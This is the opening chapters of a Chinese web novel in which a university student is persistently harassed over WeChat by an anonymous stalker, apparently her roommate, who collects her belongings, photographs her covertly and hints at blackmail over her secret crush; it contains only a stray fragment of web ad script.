《被阴暗潮湿的室友缠上后》
1. 一
【请一定要仔细看本章作话排雷】
【请一定要仔细看本章作话排雷】
【请一定要仔细看本章作话排雷】
褚倾子又请假了。
虞姜和她认识这么久，她因病请假的次数，算起来也就两次。
第一次，是褚倾子的家里人亲自替她请的假。
时间就在一周前。
两人约定好，开学的第一顿晚饭，是在公寓里吃火锅。
虞姜来得早，一个人在屋里等了数个小时。
直到天都黑了，褚倾子依旧没来。
她莫名感到不安，见发出去的十多条微信消息都石沉大海，决定改为打电话。
一年四季手机从未离过手的褚倾子，破天荒地让手机关了机。
轻压着心口的那只无形手，在虞姜听到那阵机械女音的瞬间，将脆弱的心脏攥得越发紧实。
一筹莫展间，她想起褚倾子曾往自己手机里添加过一位联系人。
忙打开联系人列表，给对方拨过去。
屋里开着灯，白亮的灯光从头顶打下来，衬得虞姜本就失了部分血色的面容，愈是苍白。
好在女人很快接了电话。
得知褚倾子临时生了病，需要在家里休养几天，虞姜才如释重负地舒口气。
她很有礼貌地同女人说再见，听着对方几近沙哑的声音，还不忘关心一声。
“阿姨，近日天气开始转凉，您也要多注意身体。”
此前，虞姜从未去过褚倾子家——她这辈子都没打算去。
偏巧这次褚倾子病得突然。
虞姜不知道对方状态究竟如何，因为实在担心，最后翻来覆去一夜未眠。
天蒙蒙亮时，她低叹一声，终是向自己妥协。
若是褚倾子一直病到周五都还没好，那就去找她。
破坏计划的，是周三一大早打开公寓门时，不待虞姜看清，就迎面扑来抱住她的人。
“宝宝，我回来了。”
耳膜因为对方一贯的亲昵叫唤而变得酥麻泛痒，痒意犹如雨滴坠落湖面，很快随着掀起的涟漪一同散开。
更令虞姜感到难以适应的，是对方那具与自己不存在半点缝隙的身子。
褚倾子缠抱得太紧，紧到让人不禁产生一种，自己似乎要被对方彻底揉进身体里的错觉。
就在虞姜犹豫着是否该出口提醒时，难得失控的褚倾子主动松开她。
她再自然不过地接过虞姜手里的垃圾袋，温柔地向她道歉：“抱歉宝宝，这么久没有见到你，我实在太想你了，一时间忘了你不喜欢这样，宝宝可以原谅我吗？”
虞姜自然不会怪她。
那之后过了一周，也就是今天，褚倾子又病了。
虞姜不爱化妆，平日里收拾的速度，总比褚倾子快些。
做好今日出门准备的她，一如既往地推开对面的房门。
迎接自己的，不是坐在化妆镜前给自己上妆的褚倾子，而是一室的黑暗。
她似有所察，目光寻过去时，原本闭着眼的褚倾子，悄无声息地撑开眼皮。
虞姜虽看不见她隐在黑暗中的神情，但能从她略显虚弱的语气中，判断出她的情况不太妙。
“宝宝，对不起啊，我今天有些难受，没法和你一起去上课了，作为补偿，过两天我请宝宝去看电影好吗？”
话题从生病这件事情，被突兀地扯到看电影上。
这类情况，其实并不是第一次发生。
时至今日，虞姜也算见识过褚倾子提出的各种“奇怪补偿方式”。
虽然仍是无法理解对方的脑回路，但还是下意识做出和往常一样的反应——
她无奈地点头，答应道：“好，那你自己在家好好休息，假条等会儿我到学校了替你写。”
//
学校的南门对面，是一条美食街。
两人平日的早饭，大都是在这里解决的。
虞姜独自排进煎饼果子的队伍，等了几分钟，轮到她。
摊主阿姨熟练地倒入面糊，一边均匀摊开，一边和蔼地问：“还是和之前一样，一份要葱一份不要葱对吧？”
虞姜被问愣，一时忘了褚倾子不在，不由应道：“嗯，谢谢阿姨。”
女人笑呵呵地和她唠：“平时你们不是都一起过来的吗，今天怎么就你一个人，她去买其它东西了吗？”
虞姜表情一滞，慌忙想要阻止她的下一个动作。
可惜嘴皮子慢了一步，只能眼睁睁地看着青绿色的葱段，铺满这张金黄的饼皮。
虞姜突然没了胃口：“阿姨，今天只要这一份就好了，谢谢。”
刚掏出手机，一条新的微信消息恰好出现。
看清发消息的人是谁，虞姜神色一僵。
明知道文字内容只有自己能看见，她仍是惶恐紧张地捂着屏幕环视一圈，确保没人盯着自己，才强装镇定地忽视它，扫码付了款。
做完这些，虞姜顾不上点开那条未读消息，直接将这块烫手山芋塞回口袋里。
换做是平时，这样的冷处理方式，的确可以无视那人的消息骚扰。
可今天情况有异。
为了能实时接收褚倾子的消息，虞姜前脚刚出门，后脚就特意取消了静音。
此番有心之举，还没来得及照顾到生病的室友，就先变成了帮助那个变态骚扰自己的工具。
递过来煎饼果子的摊主阿姨好心提醒：“同学，是不是有朋友找你啊，你的手机一直在响呢。”
虞姜面薄，被说得分外不好意思，耳根泛红地道完谢，顶着身后一干人各异的眼神，慌里慌张地退到一旁掏出手机进行处理。
三分钟不到的功夫，对方已经不知疲倦地连发了几十条消息。
【无名变态：老婆，早上好。】
【无名变态：老婆，早上好。】
【无名变态：老婆，早上好。】
大清早的就看见这么晦气的文字，饶是一贯脾气都很好的虞姜，也被逼得当即黑了脸。
粉白色的漂亮手指，在屏幕上分别敲下“g”、“u”、“n”三个字母。
刚选中最前方的“滚”字，残留的理智又哄着虞姜把“滚”字删了。
不行，不能骂。
被这个无名变态缠上的第二天，决定反抗的虞姜，终于鼓起勇气，用自诩最难听的话，骂了回去。
【死变态，你再敢骚扰我，我就报/警了！】
本以为对方看见“报/警”一词就会收敛，谁知她马上回了更可怕的消息过来。
【无名变态：我没看错吧？老婆今天终于愿意骂我了～好高兴好喜欢好好听～（亲亲.jpg）】
【无名变态：老婆下次用语音好不好～文字冷冰冰的，一点侮辱性也没有，难道老婆不想用更直接的方式来辱骂我嘛～（脸红.jpg）】
【无名变态：开始嫉妒老婆的手机了，老婆刚才打字的时候，肯定按屏幕按得很用力吧，如果我是老婆的手机就好了，那被老婆的手指狠狠触碰的，就是我了呢。（不高兴.jpg）】
【无名变态：老婆这么乖，从小到大肯定没骂过人，这样看来，我就是第一个被老婆骂过的人了，谢谢老婆骂我，好爱老婆。（小狗贴贴.jpg）】
【无名变态：老婆以后多骂骂我吧，好喜欢～不过老婆今天骂了我，以后就不能再骂别人了哦～】
【无名变态：差点忘了，这是老婆第一次骂我，已经乖乖把这句话收藏起来了！】
【无名变态：（已收藏文字的截图.jpg）】
【无名变态：等下就把这句话用A4纸打印出来，贴在床对面的墙上，这样每天醒来第一眼，不仅能看见老婆的美照，还能看见老婆给我的特别优待呢～（痴女笑.jpg）】
后面没再收到其它类似消息。
不是因为对方发到这里就停了，而是被这些不堪入目的文字惊到的虞姜，总算回过神来。
以防无名变态表达出更可怕的欲望，她几乎是以生平最快的速度，拉黑并删除了对方。
自那之后，虞姜再也不敢对她说一句重话。
——生怕又给她骂爽了。
时间线回到现在。
虞姜秀眉紧蹙，眼睛紧盯着手机屏幕。
得不到回应的无名变态，还在坚持不懈地发着“老婆，早上好”。
虞姜不清楚她究竟是怎么办到的，不管自己怎么拉黑删除，没过多久，熟悉的头像居然又会回到微信列表里。
就算对其设置消息免打扰，也会被自动解除。
无名变态的存在，就像入侵手机的病毒一样，除非把制作病毒的人揪出来，否则，一切反抗行为都只是在做无用功。
意识到这一点，虞姜立刻放弃继续在这方面努力，她决定周末去趟警/局，请求更专业的人来帮忙处理这种事情。
在那之前，还是要稳住心态，不能自乱阵脚。
考虑到褚倾子随时有可能发消息给自己，虞姜刚才还把蓝牙耳机带出来了。
她准备上课的时候戴一只，这样手机有新通知的话，自己就能在不打扰其他人的前提下，第一时间收到。
为了避免到时候被打扰，她得想个办法让无名变态暂时消停一段时间。
迫于没法骂人，虞姜再三斟酌，最后试探着发了一句——
【闭嘴！】
她认为这个词非常合适。
既不至于上升到骂人的程度，又能很好地体现自己现在愤怒的心情。
对方似乎被她强硬的态度吓到，真的安静了。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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虞姜还没松口气，手动按灭的屏幕，再度亮起。
【无名变态：抱歉老婆，刚才看见“嘴”这个字有点应激，特地爬起来去亲了下墙上的老婆照片，所以消息回晚了。】
虞姜：？？？
你这变态，说的是人话吗！！！
【无名变态：照片有点凉，亲着不舒服，希望能够早点亲到老婆的真实小嘴。（星星眼小狗.jpg）】
【无名变态：我如果乖乖闭嘴，老婆能让我亲一口吗？可以的话，我现在就去找老婆讨嘴亲好不好？】
虞姜隐忍着心头的不适，揪着她最后一句话，立刻反问。
【你现在真的要来找我？】
她可太想知道这变态到底是谁了，如果现在就能把人抓住，她绝对要第一时间将人送进警/局，好让她吃个大大的教训！
【无名变态：老婆真的好可爱呢，老婆现在又不喜欢我，我怎么会自投罗网呢～】
【无名变态：老婆好像觉得我很笨呀，其实我一点不笨哦，我要是太笨的话，以后怎么赚多多的钱养老婆呢～（小狗委屈.jpg）】
【无名变态：[对方向您转账5200元]】
【无名变态：为了惩罚老婆对我的误解，老婆今天要乖乖把钱收下哦～】
这不是无名变态第一次给虞姜转账。
自从她加上虞姜的微信开始，每天都会转一笔5200过来。
虞姜从没收过。
今日亦然。
见无名变态说完这句就不再继续发消息，虞姜总算能够松口气。
她可以接受食物包含葱的味道，却无法接受食物里夹着葱。
手里这份加过葱的煎饼果子，最后直接被丢进垃圾桶里。
受无名变态消息的影响，虞姜这会儿已经气饱了。
她不打算再买早饭，决定下完课直接回公寓和褚倾子一起吃午饭。
宿舍楼附近有间储藏屋，她和褚倾子的课本就寄存在那里。
虞姜从储物柜中取出上午要用到的课本，融入前往教学楼的人群，独自朝教室的方向走去。
经过二号食堂时，口袋里响起一阵短促的提示音。
她有预感，肯定是那个变态家伙。
可又担心有万一，只好重新把手机拿出来。
入目的果真是条糟糕的新消息。
【无名变态：知道老婆今天还是不会乖乖把钱收下，所以我特意拿了属于老婆的东西，来和老婆做个交易。（小狗乖巧.jpg）】
看清内容，虞姜的情绪并未产生半点起伏。
只因在这之前，这个变态家伙已经开始收藏属于虞姜的私人物品。
例如她用过的上一条发绳。
它是在上课时突然断掉的，下完课，需要换教室的虞姜，顺手将它丢进了角落的垃圾桶里。
第二天，无名变态兴冲冲地发来一张照片。
照片的内容，正是虞姜昨天扔掉的发绳。
不到一块钱的便宜玩意儿，被它的新主人装在一个印有某奢侈品logo的高端首饰盒里。
拍摄这张照片的手机镜头像素极高，就算虞姜没有刻意看，也能清楚瞧见发绳上沾留的几根碎发。
虞姜没打算问，对方却很主动地解释自己没有清洗这根发绳的原因。
【无名变态：是老婆戴了整整七十三天的发绳呢，上面还有老婆的味道，好香好喜欢，谢谢老婆的馈赠，我会好好收藏的，发绳香香的，真的好喜欢～】
虞姜：我不理解，也不想尊重。
除了发绳，还有其它一些零零碎碎的小玩意儿。
虞姜用完的笔、虞姜用过并揉成团扔掉的草稿纸……
只要是沾染过虞姜味道的东西，无名变态都表示自己很喜欢。
虞姜被不同的照片刺激过一遍又一遍，如今再遇到同样的情况，倒是心如止水。
淡定之余，不由回忆了下，最后得出结论，自己昨天的确没有扔掉什么东西。
很快，眉峰轻蹙。
虞姜第一次觉得对方的变态行为极端到令人反胃的地步——
这人该不会是捡了自己擦过鼻子的纸巾吧？
事实证明，无名小姐虽然真的很变态，但还没有痴迷到这么夸张的程度。
看清屏幕里出现的新照片，虞姜险些一把扔掉手机。
比起眼前这样东西，她此刻倒希望对方捡的是自己用过的纸巾了。
【无名变态：老婆的内衣好香好好闻，好喜欢啊，可惜沾了讨厌的洗衣液，我仔仔细细地闻了一遍，才找到一丢丢属于老婆的香香味道。】
【无名变态：洗过的内衣味道太淡了呜呜呜，一点也没闻够，下次想闻老婆没洗过的，好不好啊老婆？（小狗委屈.jpg）】
2. 二
就算无名变态发的小狗表情包很可爱，也改变不了她是个变态的事实。
虞姜再次被对方无下限的阴湿行为震惊到，自心头处顿生的一股怒意，化作窜天的火苗，直朝天灵盖的方向冲去。
一时情急，忘了不能谩骂对方。
随手将课本往腋窝底下一夹，就这么站在人来人往的道路中央，操纵着双手，开始在屏幕上敲下一句又一句她从未跟其他人说过的重话。
等虞姜找回理智，已是三分钟之后的事。
在此期间，她只顾着单方面打字批判对方，这会儿，终于可以停下动作看一眼对面有什么反应。
【你到底是谁？！！】
【无名变态：谁是世界上最爱老婆的人？嘻嘻是我！！！（小狗乖乖举爪子.jpg）】
【你是不是有毛病？】
【无名变态：谢谢老婆骂我，收藏列表+1，好爱老婆啵啵啵！】
【你真的太恶心了！】
【无名变态：老婆骂得还是不够狠，看来老婆还是很心疼我，呜呜呜谢谢老婆心疼我，好爱老婆（小狗贴贴.jpg）】
【无名变态：[对方向您转账13140元]】
【无名变态：老婆一次性打这么多字骂我实在太辛苦了，把钱收下好好补补身子，吃饱了才有力气继续狠狠骂我嘛～】
【你去死吧！死变态！】
【无名变态：简单干脆的语言，极致美好的享受～老婆再多骂点，好爱听～我还要努力多攒攒，争取早日把老婆的专属馈赠贴满一面墙！】
【无名变态：（印有被骂文字的A4纸和虞姜的偷拍照贴在一起的图片.jpg）】
【无名变态：已经乖乖把老婆第一次骂我的话打印出来了噢，老婆我是不是好乖～顺便和老婆报备一声，刚才我亲的就是老婆的这张照片～老婆真的太可爱啦好喜欢好喜欢好喜欢！】
【等我找警/察姐姐帮忙揪出来你究竟是谁，我一定要在表白墙挂你！你就等着社死吧！死变态！】
【无名变态：（淘宝搜索出来的某款情/趣毛绒手/铐款式选择截图.jpg）】
【无名变态：老婆喜欢哪种颜色？白色？粉色？黑色？还是这款性感的豹纹色？】
显而易见，虞姜的打字速度还是不够快。
这才给了无名变态见缝插针的机会。
看着界面里这些分别被胡乱回应的绿框消息，虞姜被气笑了。
这算什么？
对牛弹琴吗？
她缓缓吐出郁结在心底的那口气，泄气地敲下没有灵魂的最后一句。
【你到底喜欢我什么？我改行不行？】
无名变态这次倒是老老实实回应了。
只不过回应的内容，又是让人感到眼前一黑。
【无名变态：喜欢老婆不喜欢我，老婆能改嘛？】
【无名变态：也喜欢老婆骂我只打字不发语音，老婆也可以改嘛？】
【无名变态：还喜欢老婆不收我的钱，这一点最重要，老婆可以先改这个嘛？】
虞姜放弃继续和她理论。
原本是想等上课之后再戴好的单只耳机，现在只能提前取出来戴上。
耳机被塞进右耳中，冰凉的表面带给耳朵处的嫩肉一点低温刺激。
虞姜被它冰了一下，迟钝地反应过来。
就像被扯着后衣领开始往衣服里不断倒入冰水般，她感觉自己的脊背正在逐渐地发僵、发寒。
打字的动作，每一下都带着并不明显的颤意。
【东西哪来的？】
没头没尾的一句问，无名变态却看懂了。
她先发了个小狗吐舌的可爱表情包。
【无名变态：呜呜呜没想到还是被老婆发现了，好吧，我承认，这件内衣是我自己昨天刚买的，一想到和老婆拥有的是同款，我就狠狠地吸上了。（小脸红红.jpg）】
【无名变态：就是可惜没有老婆的味道嘤嘤嘤，好想闻老婆穿过的，一定很香香～】
见此，虞姜稍微松口气。
她并未全然相信，努力压下心头的诡异感，将聊天页面上滑至那张内衣照片处。
正要点开，想起自己正处于大众视野中，又按灭屏幕，迅速走进食堂随便找了个最角落的空位。
确保自己的行为不会被第二个人看见后，虞姜继续刚才没完成的动作。
照片里呈现着的，是一件米白色的女士内衣。
这是上学期快结束时买的。
应该说，是褚倾子出的钱。
原本是她陪褚倾子去买的内衣，忘了具体是怎么发展的，最后变成了褚倾子替她挑。
虞姜耐不住对方的软磨硬泡，只好从她选中的三件内衣里，选了这款带有蝴蝶结修饰的。
由于这件内衣的价钱实在昂贵，虞姜拿回来后，还仔细将它和衣柜里的进行过对比。
对比的结果如何无需赘述，有一点是毋庸置疑的——
她对这件内衣的了解程度，深到连它表面的纹路走向都能记得一清二楚。
此时看着无名变态发来的照片，虞姜几乎一眼就能确定，对方拍的这一件，和自己晒在阳台上的那一件，一模一样。
虞姜的手指又开始发抖。
【这真的是你自己买的？】
无名变态几乎是秒回。
【无名变态：呜呜呜好伤心，老婆难不成以为我是那种会趁老婆不在家然后偷偷溜进老婆家里的变态吗？】
【无名变态：当然不是啦，我只不过是仔细观察过，然后买了和老婆同款的内衣而已，老婆可不能把我和那种变态混为一谈噢。（小狗委屈.jpg）】
【无名变态：呜呜呜老婆你不知道，为了能全方位无死角地观察到它的样子，我一个人在阳台上蹲了多少天，好在功夫不负有心人，我最后总算成功了！（小狗跳舞.jpg）】
【无名变态：（高清的内衣局部展示照片1.jpg）（高清的内衣局部展示照片2.jpg）（高清的内衣局部展示照
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片3.jpg）】
【无名变态：这是我当时拍到的照片，给老婆检查～该说不说，XX家的这款相机像素还真的挺高，就算我和老婆隔着这么远的距离，也能把照片拍得很清晰，这么好的东西，也得给老婆安排一份，我现在就下单，应该明天就能到货，我直接填老婆的手机号哈！】
虞姜突然有些理解为何有些人会说，在想要告诉别人一个坏消息前，应该先告诉对方一个更坏的假消息，这样，对方听到真实的坏消息时，情绪就会稳定很多。
跟“无名变态擅自偷溜进家里”的可怕情况对比，“无名变态知道自己的地址和手机号”，在此刻的她看来，便成了也不算太糟的情况。
虞姜自知这样的心态不对，可她承认，自己的确因此完整松了口气。
【你究竟要怎样才能放过我？】
【无名变态：等老婆找到我，我就不这么缠着老婆了。】
找到对方？
虞姜决定下午就去警/局。
一想到再过几个小时就能把屏幕那头的无名变态揪出来，压在双肩之上的隐形石头，终于被搬开。
她的身体也变得格外轻松。
【别以为你这么说我就会不计前嫌地放过你，等你的信息被我查到，我还是会在表白墙上挂你的！】
【无名变态：好喜欢老婆这么强硬的态度，又是被老婆的专属态度迷倒的一天～那老婆要和我打个赌嘛，要是老婆查不到我的消息，就送我一件老婆没有洗过的内衣，好不好？（可怜兮兮.jpg）】
虞姜对警/察/姐姐们抓变态的能力，还是很信任的。
见状并未多想，只单纯把无名变态的反应，当成是恶行即将败露之前的嘴硬和逞强。
【我要去上课了，你别再给我发消息了！】
自己的话被忽视，无名变态也不觉得难过。
她就像只打不死的蟑螂，没皮没脸地继续凑上来。
【无名变态：那我也有件事需要老婆做，只要老婆好好完成，我就听话！】
虞姜自然不会答应无名变态提出的任何条件。
在今天以前，她和褚倾子的关系，完全可以用形影不离来形容。
两人面对面接触的时间占了绝大部分，偶尔需要联系，微信上发条消息就行。
出门至今，虞姜一直忘了彼此还可以通过电话进行联系。
看着无名变态的消息，她脑中灵光一闪，猛然想到——
与其担心褚倾子是否会在上课时发消息给自己，为何不提前和她约定好，如果真有要紧事，直接给自己打电话呢？
就算没法接，两人也能及时改用微信打字沟通。
虞姜不再犹豫，立刻点开置顶的某个头像，将自己的想法告知对方后，终于能够安心将手机静音。
脸上漾开的轻松笑意还未停留片刻，非自愿置顶的无名变态，阴魂不散地发了新消息。
【无名变态：老婆，你应该也不希望褚倾子知道你喜欢她这件事，对吧？】
3. 三
页面上显示的文字内容，正好到“喜欢她”过。
虞姜无意扫了眼，看清无名变态发的是什么，大脑瞬间变得一片空白。
她足足僵滞近两分钟，才摆脱这般困境。
虞姜尝试放松身子，等僵硬的手指恢复，才点开聊天框强装镇定地回复。
【我不知道你在说什么。】
那头的无名变态发了个眼红小狗的表情包。
【无名变态：看来真的被我猜中了，老婆如果没有这种想法，现在就不会刻意回复我了，所以老婆就是很在意她，对吧？】
经无名变态一强调，虞姜才反应过来，自己不小心踩进了对方所设的“陷阱”。
她又是懊悔又是气愤，两种情绪交织，编成一张让她有些喘不过气的网。
虞姜只被这张网缠住一小会儿，就自行挣脱了。
无名变态的话虽然不中听，有个关键内容倒是没说错。
自己喜欢褚倾子这件事，无名变态是诈出来的。
既然没有证据，自己也就无需理会。
虞姜稳住心态，正准备起身离开。
无名变态的新消息先发了过来。
【无名变态：抱歉老婆，才发现刚才太激动，一不小心打错字了，老婆的秘密小心思，我不是猜出来的，而是清楚地知道的。】
【无名变态：老婆不肯承认，是觉得我没有相关证据嘛，老婆太单纯啦，其实我有的哦，老婆要看一下嘛？】
【无名变态：我不是小气的人，如果老婆真的要看，我也会分享给讨厌的褚倾子一起看哦，老婆真的要看嘛，都听老婆安排呢～（小狗乖巧.jpg）】
无名变态话里藏着的威胁味道，再明显不过。
虞姜才不相信她是真的打错字。
她觉得后面的这些话，都只是对方在替自己找补而已。
没人比虞姜更懂自己的小心翼翼。
她确信自己在此之前，并未对褚倾子做过任何越界的事。
无名变态所说的“证据”，肯定又是一次骗局。
更何况自己才刚受骗，眼下再次看见出自同一人的“诈骗性语言”，本不应再上当。
可她真的太喜欢褚倾子了。
因为太过喜欢，所以明知对方是在欺骗自己，还是忍不住担心——
自己真的没有越过界吗？
会不会曾经有哪一刻越界了，是自己没有察觉到的呢……
因为那份虽浓烈、却只能藏于心底的喜欢，虞姜开始成为一只被猎人盯上的可怜兔子。
明知再往前一蹦就会落入猎人亲手设下的陷阱，还是不得不主动跳进这个折磨人的陷阱里——
【你究竟想怎样？】
虞姜问完，主动站在无名变态的角度思考起来。
她若是对方，希望自己要做的第一件事，肯定就是放弃报/警。
对方如果真的这么说了，自己该怎么办？
不待虞姜挣扎出结果，无名变态的消息来了。
【无名变态：哼！虽然老婆答应了，但我一点也不开心。（小狗气气.jpg）】
【无名变态：嫉妒嫉妒嫉妒嫉妒嫉妒，狠狠嫉妒！！！（扎小人.jpg）】
她只发了这两句，便毫无预兆地安静下来。
虞姜正在眼也不眨地等着她提条件，见状，反而有些急了。
【？】
【无名变态：老婆对不起，让你久等了，刚才有点吃醋，所以用老婆的嘴哄了我自己一下。（小狗满足.jpg）】
【无名变态：（虞姜偷拍照.jpg）】
【无名变态：是这张新的，亲了三下，勉强满足了，又是期待将来和老婆真实亲嘴嘴的一天～（小狗转圈.jpg）】
虞姜竭力压下怒斥她死变态的强烈欲望。
【无名变态：既然老婆准备好了，那我就要说我的愿望啦，老婆一定要乖乖照做，我才会当作刚才什么也没有说过哦～】
虞姜打字提醒。
【别忘了你刚才说的，我如果做了，你接下来就不准给我发消息了！】
【无名变态：呜呜呜委屈屈，话题都扯这么远了，老婆怎么还记得这件事嘛呜呜呜。】
【无名变态：好啦好啦，老婆放心！只要老婆乖乖做，我在上课的时候，肯定不会再发消息打扰老婆的！（小狗举爪子.jpg）】
【无名变态：老婆先把我刚才的钱收了，不然我没有力气打字。（可怜兮兮.jpg)】
虞姜：？<
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【无名变态：喔，是我不好，老婆不肯收钱，是不是担心我以后会把钱再要回来，是我没考虑周全，对不起老婆！】
【无名变态：[对方向您转账5200元]】
【无名变态：[对方向您转账13140元]】
【无名变态：[对方向您转账52000元]】
无名变态发来新的三笔转账，和之前纯转账的形式不同，新的这三笔，分别备注了“自愿赠与”。
【无名变态：这回没问题啦，老婆可以放心收噜！老婆放心，接下来的每一笔钱，我都会这么备注的！】
虞姜还是没忍住。
【你是不是有病？】
花钱找骂的无名小姐，甚至反过来安慰虞姜。
【无名变态：老婆看来还是心疼我，毕竟我如果是老婆的话，肯定就直接把这些钱当作是精神损失费了，老婆一直不愿意收，肯定是心疼我花钱，呜呜呜谢谢老婆心疼我，好爱老婆。】
虞姜被她恶心的说法一激，索性真把钱给收了。
她破罐子破摔地想，死变态说得对！
自己的精神被折磨这么久，现在还因为某个秘密不得不受制于对方。
自己单方面被迫吃苦，对方却只要动动手指，就能够掌控一切。
这一点也不合理！
反正都是对方自愿的，那干脆就把钱都收下！
如果对方后悔，那最好不过，自己直接把钱还回去从此换回安宁。
对方不后悔的话……
那她还纠结啥！
面对这种烦人的死变态，道德感就该放低点！
【无名变态：老婆终于肯用我的钱了，好开心～（撒花花.jpg）】
虞姜决定转变说话方式，用尽可能简洁的文字，来表达自己的态度。
【说事。】
【无名变态：嘶～虽然看不见老婆此时的样子，但是没猜错的话，肯定是在用那种看垃圾一样的眼神看着屏幕吧，盯——】
【无名变态：这样的老婆好冷淡好迷人也让我觉得好喜欢！！！】
转变失败的虞姜：“……”
她服了。
这个世界上，到底为什么会存在这么能舔的变态家伙？
4. 四
【无名变态：好啦好啦，老婆不要生我气，我现在就说！（小狗乖巧坐下.jpg）】
【无名变态：我已经叫人替我排好队了，所以老婆现在直接去四号窗口，取你最喜欢吃的生煎吧。】
虞姜愣住。
手上动作比大脑思考的速度快一些，等意识到自己发了什么，那头的无名变态，已经在她刚发的“？”底下，秒回了新消息。
【无名变态：爱上老婆这么久，还是第一次看见老婆没有吃早饭，不吃早饭可不好，习惯了容易得胃病的，那样老婆会难受，我也会心疼的！所以我要老婆做的事情，就是乖乖把早饭吃了再去上课！】
【无名变态：我都替老婆规划好时间啦，现在时间还算早，按照老婆平时的吃饭速度，先吃完早饭再去上课也是完全来得及的。】
【无名变态：老婆要骂的话，等会儿再骂好不好？我是花了钱叫人帮忙排的队，东西没交给你，对方是拿不到尾款的，那人现在发消息来催我了，她完成这单还要赶着去军训呢，就当是为了学妹，老婆先去把东西拿回来好不好？】
虞姜一见这事还牵扯到第三个人，顿时不再思考其它。
她离开座位，走向远处的四号窗口。
靠近之后，还真在零星只有几个人的队伍旁边，看见一个穿着军训服的学妹。
对方正低着头在摆弄手机，感觉面前有道阴影挡住光线，抬起眼。
女生的视线在虞姜的脸蛋上多停留了两秒，几乎是用确定的语气在询问：“学姐，你是来取生煎的吗？”
虞姜拿到了无名变态托学妹替自己买的早饭。
同时收到尾款的学妹很有礼貌地和她道别：“学姐，如果你对我的服务还满意的话，麻烦和你对象说一声，下次还有这种活的话，请尽情吩咐我。”
她顿了顿，补充道：“如果她觉得不划算，下次可以少给一点的。”
虞姜忍不住问她：“不好意思，请问你方便告诉我一声，她给了你多少吗？”
学妹的纠结全都写在她那双炯炯有神的大眼睛里。
虞姜福至心灵，承诺道：“我只是想知道一下，不会让你把钱退回去的。”
学妹松口气，坦诚交代：“一共给了我两百，生煎和豆浆的钱，也是她额外给我的。”
虞姜：“……”
她默默在心里劝说自己——
这并不是你的钱。
你不需要对别人的钱有那么大的占有欲。
就算人家选择用一千块来做跑腿费，那也不关你的事！
学妹朝虞姜笔直地鞠了一躬，态度里满是对金主姐姐的尊敬：“如果学姐你没有其它事，我就先走了，下次你们还需要我跑腿的话，在微信群里重新加我就行，除了睡觉，其余时间我都会开着消息通知的。”
虞姜没有再拦她。
她本打算借对方手机看一眼，转念一想，死变态应该不会蠢到在这种时候露出马脚。
虞姜端着餐盘回到刚才的位置。
手机静过音，新消息的出现，变得悄无声息。
虞姜被骤亮的屏幕晃了下眼，迟疑一瞬，还是点开了。
【无名变态：老婆老婆～我已经把尾款给她啦，东西拿到了吗？没有的话我去找她退钱！】
消息内容和虞姜猜的一样，为了不牵扯到无关人员，她拍了张生煎和豆浆的合照，发过去。
【拿到了。】
【无名变态：老婆真乖～隔空亲亲这么乖的老婆～那我先不打扰老婆用餐啦～】
【无名变态：生煎的数量是完全按照老婆平时的食量购买的，所以老婆要尽量吃完喔，如果今天实在吃不下，那也不用勉强自己，能吃多少，就吃多少！（小狗摇脑袋.jpg）】
【无名变态：老婆吃完也别忘了给我拍照检查哦～等老婆真的乖乖吃完早饭，我也就听话地暂时闭嘴啦！】
【无名变态：老婆平时都有讨厌的褚倾子陪着，今天只有自己一个人，如果觉得太寂寞的话，我也可以陪老婆吃饭的喔～（小狗吐舌.jpg）】
虞姜什么也没回，将手机翻了个面，盖在桌面角落处。
她拿起筷子，去夹离手臂最近的那只生煎。
咬开外皮，露出里面的内陷，是她常点的蟹粉口味。
虞姜盯它盯得出神。
并不是感动于无名变态在这方面对自己的了解，而是眼前的这些，让她忍不住想起独自留在公寓里的褚倾子。
每次吃饭，褚倾子也都会像这样，替她准备好一切。
褚倾子是实实在在的富二代。
父母就生了她一个，从小到大，完全是把她当成公主一样地宠爱。
她生来就比寻常人要活得轻松，却并未因此被养成骄纵傲慢的脾气。
相反，她的性格很好，不管是对谁，永远都能保持温柔亲切的态度。
很少能有人可以拒绝这样一位，在大众眼中完美到令人挑不出缺点的优秀女生。
所以喜欢褚倾子的人很多。
光是他们学院，就有近一半的人来向褚倾子表过白。
虞姜也喜欢褚倾子。
一开始，是喜欢她的温柔、她的美好。
后来，喜欢在心头彻底扎了根。
她不再是喜欢附加在她身上的任何，而只是单纯喜欢她这个人。
但虞姜和他们不一样。
她从没表过白。
也不打算表白。
她深知自己与褚倾子之间的差距。
就算无人提醒她，她也能很清楚地预判到，等将来毕了业，她们之间的联系，必定会在时间的冲刷中，逐渐变得松散，直至彻底消失。
在那一天到来之前，她只希望，自己能和喜欢的人，以友情的名义，再多接触一些。
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想到在吃饭这方面也会如此照顾自己的褚倾子，虞姜的情绪顿时有些失控。
她突然很想她。
就算只是听一下她的声音，也能让她不合时宜的想念，重新回归原位。
虞姜没有忍住。
被弃至一旁的手机，重新被拿起。
她快速打开微信，点进和褚倾子的聊天框，刚要下意识给她拨过去，即将触碰到屏幕的指尖，堪堪停住。
差点忘了，褚倾子这会儿，还在睡觉呢。
虞姜暗暗道了句万幸，正要把手机放回去，相对陌生的通知音，如烟花般在耳机里轰然炸响。
紧绷的神经被它吓得几乎当场崩断，眼眸中升起的些许愠色，在看清来电显示的备注时，瞬间散去。
“倾子，你醒了？”虞姜惊讶的声音里，带着藏不住的小欣喜。
褚倾子在那头温柔地笑了一声。
她的声音差不多恢复如常：“宝宝，我多睡了一会儿，现在觉得身体好多了。”
虞姜刚才听她说话的样子太虚弱，想着让她继续休息，便不敢过多询问。
此刻终于有机会交流她的不良状态，自是不会放过。
“你上周才刚恢复，今天就又生病了，是不是上次的问题没有解决好啊？下午没有课，我陪你去医院再做一次检查好不好？”
褚倾子并不是在这方面格外固执的人。
听她这般说，语气中难掩笑意：“好，都听宝宝的，下午去完医院，我们就去看电影，好吗宝宝？”
虞姜差点忘了出门前答应的事。
“如果你身体没问题，那我们就去。”
“好，那我就先把票买了，宝宝现在应该在教室了吧，是戴了耳机吗，周围好像很安静。”
虞姜所处的位置本就远离人群，再加上大家差不多都吃完了，因而耳机能捕捉到的杂音，忽略不计。
她看了眼被自己咬过一口的生煎，把真相掩去了最关键的部分。
“我还在食堂吃早饭，等吃完就去教室，你还要再休息吗，不想睡的话，我给你点份粥。”
“我没那么饿，等中午直接和宝宝一起吃午饭就好，宝宝今天怎么会在食堂吃呢？”
虞姜开始和她讲起煎饼果子误加了葱的小意外。
褚倾子安安静静地听着，等她说完，温柔地问。
